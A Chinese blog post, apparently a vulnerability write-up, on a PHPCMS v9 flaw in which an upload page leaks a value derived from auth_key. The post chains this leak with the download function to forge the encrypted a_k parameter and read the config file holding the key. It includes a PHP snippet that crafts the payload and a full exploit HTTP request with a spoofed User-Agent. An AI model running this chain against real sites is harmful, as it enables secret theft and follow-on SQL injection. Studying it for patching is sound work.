首页 > 代码库 > PHPCMS某处设计缺陷可致authkey泄露

PHPCMS某处设计缺陷可致authkey泄露

在分析几个phpcms的漏洞就换分析其他的,换换口味。

漏洞来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html

swfupload上传页面输出了 MD5(auth_key+sess_id)。

函数位于 /phpcms/modules/attachment/functions/global.func.php 第45-91行

function initupload($module, $catid,$args, $userid, $groupid = ‘8‘, $isadmin = ‘0‘,$userid_flash=‘0‘){
		$grouplist = getcache(‘grouplist‘,‘member‘);
		if($isadmin==0 && !$grouplist[$groupid][‘allowattachment‘]) return false;
		extract(getswfinit($args));
		$siteid = param::get_cookie(‘siteid‘);
		$site_setting = get_site_setting($siteid);
		$file_size_limit = $site_setting[‘upload_maxsize‘];
		$sess_id = SYS_TIME;
		$admin_url = pc_base::load_config(‘system‘,‘admin_url‘);
		$upload_path = empty($admin_url) ? APP_PATH : ‘http://‘.$admin_url.‘/‘;
		$swf_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$sess_id);
		$init =  ‘var swfu = \‘\‘;
		$(document).ready(function(){
		swfu = new SWFUpload({
			flash_url:"‘.JS_PATH.‘swfupload/swfupload.swf?"+Math.random(),
			upload_url:"‘.$upload_path.‘index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1",
			file_post_name : "Filedata",
			post_params:{"SWFUPLOADSESSID":"‘.$sess_id.‘","module":"‘.$module.‘","catid":"‘.$_GET[‘catid‘].‘","userid":"‘.$userid.‘","siteid":"‘.$siteid.‘","dosubmit":"1","thumb_width":"‘.$thumb_width.‘","thumb_height":"‘.$thumb_height.‘","watermark_enable":"‘.$watermark_enable.‘","filetype_post":"‘.$file_types_post.‘","swf_auth_key":"‘.$swf_auth_key.‘","isadmin":"‘.$isadmin.‘","groupid":"‘.$groupid.‘","userid_flash":"‘.$userid_flash.‘"},
			file_size_limit:"‘.$file_size_limit.‘",
			file_types:"‘.$file_types.‘",
			file_types_description:"All Files",
			file_upload_limit:"‘.$file_upload_limit.‘",
			custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"},
	 
			button_image_url: "",
			button_width: 75,
			button_height: 28,
			button_placeholder_id: "buttonPlaceHolder",
			button_text_style: "",
			button_text_top_padding: 3,
			button_text_left_padding: 12,
			button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,
			button_cursor: SWFUpload.CURSOR.HAND,

			file_dialog_start_handler : fileDialogStart,
			file_queued_handler : fileQueued,
			file_queue_error_handler:fileQueueError,
			file_dialog_complete_handler:fileDialogComplete,
			upload_progress_handler:uploadProgress,
			upload_error_handler:uploadError,
			upload_success_handler:uploadSuccess,
			upload_complete_handler:uploadComplete
			});
		})‘;
		return $init;
	}	

  可以看到$init参数的值为一段js代码。

看到这里:post_params:{"SWFUPLOADSESSID":"‘.$sess_id.‘","module":"‘.$module.‘","catid":"‘.$_GET[‘catid‘].‘","userid":"‘.$userid.‘","siteid":"‘.$siteid.‘","dosubmit":"1","thumb_width":"‘.$thumb_width.‘","thumb_height":"‘.$thumb_height.‘","watermark_enable":"‘.$watermark_enable.‘","filetype_post":"‘.$file_types_post.‘","swf_auth_key":"‘.$swf_auth_key.‘","isadmin":"‘.$isadmin.‘","groupid":"‘.$groupid.‘","userid_flash":"‘.$userid_flash.‘"},

混杂着$sess_id和$swf_auth_key的值

在跟踪到上面去$swf_auth_key的值。$swf_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$sess_id);

$swf_auth_key是由auth_key和$sess_id联合在一起共同进行md5加密。并且$swf_auth_key,$sess_id都输出到页面上了。

跟踪这整个函数,看看哪里引用了。

技术分享

 

 

限制:在线投稿(需要后台开启)

在发布投稿的时候,有个图片上传,url就位于那里。

 

技术分享

 

查看源码就能看到输出在页面的值了。

技术分享

记录下来两个值。

接着看到第二个漏洞点。

位于 /phpcms/modules/content/down.php  第83-124行。

	public function download() {
		$a_k = trim($_GET[‘a_k‘]);
		$pc_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$_SERVER[‘HTTP_USER_AGENT‘]);
		$a_k = sys_auth($a_k, ‘DECODE‘, $pc_auth_key);
		if(empty($a_k)) showmessage(L(‘illegal_parameters‘));
		unset($i,$m,$f,$t,$ip);
		parse_str($a_k);		
		if(isset($i)) $downid = intval($i);
		if(!isset($m)) showmessage(L(‘illegal_parameters‘));
		if(!isset($modelid)) showmessage(L(‘illegal_parameters‘));
		if(empty($f)) showmessage(L(‘url_invalid‘));
		if(!$i || $m<0) showmessage(L(‘illegal_parameters‘));
		if(!isset($t)) showmessage(L(‘illegal_parameters‘));
		if(!isset($ip)) showmessage(L(‘illegal_parameters‘));
		$starttime = intval($t);
		if(preg_match(‘/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i‘,$f) || strpos($f, ":\\")!==FALSE || strpos($f,‘..‘)!==FALSE) showmessage(L(‘url_error‘));
		$fileurl = trim($f);
		if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(‘illegal_parameters‘));	
		$endtime = SYS_TIME - $starttime;
		if($endtime > 3600) showmessage(L(‘url_invalid‘));
		if($m) $fileurl = trim($s).trim($fileurl);
		//远程文件
		if(strpos($fileurl, ‘:/‘) && (strpos($fileurl, pc_base::load_config(‘system‘,‘upload_url‘)) === false)) { 
			header("Location: $fileurl");
		} else {
			if($d == 0) {
				header("Location: ".$fileurl);
			} else {
				$fileurl = str_replace(array(pc_base::load_config(‘system‘,‘upload_url‘),‘/‘), array(pc_base::load_config(‘system‘,‘upload_path‘),DIRECTORY_SEPARATOR), $fileurl);
				$filename = basename($fileurl);
				//处理中文文件
				if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
					$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
					$filename = urldecode(basename($filename));
				}
				$ext = fileext($filename);
				$filename = date(‘Ymd_his‘).random(3).‘.‘.$ext;
				file_down($fileurl, $filename);
			}
		}
	}

  看到开头的这句话:$pc_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$_SERVER[‘HTTP_USER_AGENT‘]);

利用auth_key和HTTP_USER_AGENT进行加密。UA我们本地是可以控制的,所以我们可以让UA的值与$sess_id的值相同,然后$pc_auth_key 我们也是知道的。

看到这句,$a_k = sys_auth($a_k, ‘DECODE‘, $pc_auth_key); 

$a_k是利用GET过来的,$pc_auth_key我们又是知道的,所以我们可以本地生成经过加密$a_k的值

<?php 
include ‘/Applications/MAMP/htdocs/phpcms_v9.5.8/phpsso_server/phpcms/libs/functions/global.func.php‘;
echo sys_auth(‘i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp‘, ‘ENCODE‘, ‘12d92ed5288d3779cbbc21050a2872c7‘);
?>

  先包含sys_auth函数,然后构造我们要下载的文件地址。

上面的那些参数是download函数需要的,具体的解释在以前文章有个这里的windows下任意文件相同

s和f参数,利用拼接来绕过检查,也就是这句:if($m) $fileurl = trim($s).trim($fileurl);

然后就能读取任意文件啦。

技术分享

 

 

GET /phpcms_v9.5.8/index.php?m=content&c=down&a=download&a_k=4a24vbaImAul-EwWcTrYs7wE7j5Urx5t4oU732dLThlYS7A3T-z8Wx31XLBrijP0c6yi0MxacTEGBpGIc6w-t52fF-yPcyQv5O9aZCvLQxseCnyLPytVPcArzKYcBMEEhwiLu8pcvAmZ_ZDiO-YSI5d1MshWeQ6qo2LPi7-DaRpawVQ HTTP/1.1
Host: phpstudy.com
User-Agent: 1495713362

 

a_k的值是php文件加密来的,需要替换,UA是$sess_id的值,也是需要替换。

 

读取到的文件caches/configs/system.php 为网站放置auth_key的php文件。

有了这个auth_key,我们就能在本地混合sql语句然后加密auth_key,网站进行解码以后输出sql语句来绕过检查,然后对网站进行注入等操作,具体可以看http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html,或者bobao.360.cn 发的phpcmsv9.6.2的注入文章。

 

PHPCMS某处设计缺陷可致authkey泄露